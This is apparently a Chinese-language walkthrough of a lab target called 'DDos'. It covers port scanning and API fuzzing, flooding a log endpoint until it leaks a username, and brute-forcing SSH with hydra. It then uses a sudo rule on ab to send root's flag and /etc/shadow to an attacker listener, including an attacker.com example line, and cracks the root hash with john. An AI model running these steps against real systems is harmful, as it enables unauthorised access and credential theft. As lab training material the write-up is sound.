

DDos

信息搜集

```
# Nmap 7.99 scan initiated Fri Sep 25 20:36:20 2026 as: /usr/lib/nmap/nmap -sT -Pn -sV -sC -O -p- -d
Nmap scan report for 192.168.1.19
Host is up (0.0017s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
1/tcp     open  ssh      OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
5000/tcp  open  http     Werkzeug httpd 3.1.8 (Python 3.13.5)
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: Werkzeug/3.1.8 Python/3.13.5
MAC Address: 08:00:27:E5:FE:15 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
```

非常规, ssh开在1端口, web部署在5000

web

5000

```
description "A simple logging service for storing and retrieving logs."
endpoints
0
description "This documentation page"
method "GET"
path "/"
1
description "Create a new log entry"
example
request `curl -X POST http://localhost:5000/api/create_log -H "Content-Type: application/json" -d '{"content": "Error: Database connection failed"}'`
response
data
filename "a1b2c3...log"
link "/uploads/a1b2c3...log"
status "success"
method "POST"
parameters
content "string (required) - The log content to store"
path "/api/create_log"
2
description "Get current server time"
method "GET"
path "/api/server_time"
3
description "Get basic system information"
method "GET"
path "/api/system_info"
4
description "Get disk usage statistics"
method "GET"
path "/api/disk_status"
```

```
service_name      "Log Management System v1.2.5"
```

```

:: Method      : GET
:: URL         : http://192.168.1.20:5000/api/FUZZ
:: Wordlist     : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007
:: Output file  : api.txt
:: File format  : json
:: Follow redirects : false
:: Calibration  : false
:: Timeout      : 10
:: Threads      : 40
:: Matcher      : Response status: 200-299,301,302,307,401,403,405,500

```

fuzz一下发现还存在两个隐藏接口

接口分析

该接口返回靶机服务状态

该接口每次请求返回一句不同名言，共4句，很有教育意义

```
curl -X POST http://192.168.1.20:5000/api/create_log -H "Content-Type: application/json" -d '{"content": "Error: Database connection failed"}'
```

```
[kali@192 ~]# curl -X POST http://192.168.1.20:5000/api/create_log -H "Content-Type: application/json" -d '{"content": "Error: Database connection failed!", "details": {"admin_contact": "tonglinggeji@0", "hint": "Please contact system administrator immediately.", "error_code": "RESOURCE_EXHAUSTED", "message": "System critical: Unable to all oct storage.", "status": "error"}}
```

```
{"data":  
{"created_at":1790339277908,"filename":"c94ef423136acf9294585430b7fda3b0ff9e6f1b787e072782dafdba371b542b.log","link":"/uploads/c94ef423136acf9294585430b7fda3b0ff9e6f1b787e072782dafdba371b542b.log"},"message":"Resource allocated successfully.","status":"success"}
```

打满约500个包后，该接口返回内容改变，暴露一个用户名

```
{"details":{"admin_contact":"tonglinggejim0","hint":"Please contact system administrator immediately."},"error_code":"RESOURCE_EXHAUSTED","message":"System critical: unable to allocate storage.","status":"error"}
```

打崩服务后感觉可能会启动救援端口，新api接口之类的恢复方式，但找了一圈没有什么收获

只能试试ssh爆破了

```
└─$ hydra -l tonglinggejim0 -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.20:1  
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or  
core laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-25 22:58:59  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399),  
[DATA] attacking ssh://192.168.1.20:1/  
[1][ssh] host: 192.168.1.20 login: tonglinggejim0 password: 666666  
1 of 1 target successfully completed, 1 valid password found  
[WARNING] Writing restore file because 1 final worker threads did not complete until end.  
[ERROR] 1 target did not resolve or could not be connected  
[ERROR] 0 target did not complete  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-25 22:59:17
```

...

```
flag{user-faac9dae19d37c8d8876e0a6b05837ba}
```

提权

```
tonglinggejim0@DDos:~$ sudo -l  
Matching Defaults entries for tonglinggejim0 on DDos:  
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:  
  
User tonglinggejim0 may run the following commands on DDos:  
(ALL : ALL) NOPASSWD: /usr/bin/ab
```

存在sudo

(a)

Unprivileged 无特权

Sudo 执行 sudo 命令

SUID

This function can be performed by any unprivileged user.

这个函数可以由任何没有特权限的用户来执行。

```
ab -p /path/to/input-file http://attacker.com/
```

Receiver 接收器

An HTTP server can be used on the attacker box to receive the data.

攻击者可以在自己的设备上配置一个 HTTP 服务器，用来接收数据。

```
nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file
```

可以上传文件到指定url，那先把flag拿下来

```
sudo /usr/bin/ab -p /root/root.txt http://192.168.1.12:8888/
```

```
nc -lvnp 8888 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >./root
```

```
(kali@192)~[~/Desktop/Dasz/ddos]
$ cat root
flag{root-429f809b23ee59b37202d1a909096e43}
```

再拿shadow

```
root:$1$VuijTF3B$Vio3JDsc.9Bs93hZiahM3/:20599:0:99999:7:::
```

尝试爆破一下

```
(kali@192)~[~/Desktop/Dasz/ddos]
$ john root.hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
258808 (root)
1g 0:00:00:07 DONE 3/3 (2026-09-25 23:26) 0.1326g/s 96324p/s 96324c/s 96324C/s 252674..258806
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
Benchmarking 192.168.1.12 (be patient)...ap
tonglinggejim0@DDos:~$ su
Password:
root@DDos:/home/tonglinggejim0# whoami
root
root@DDos:/home/tonglinggejim0# |
```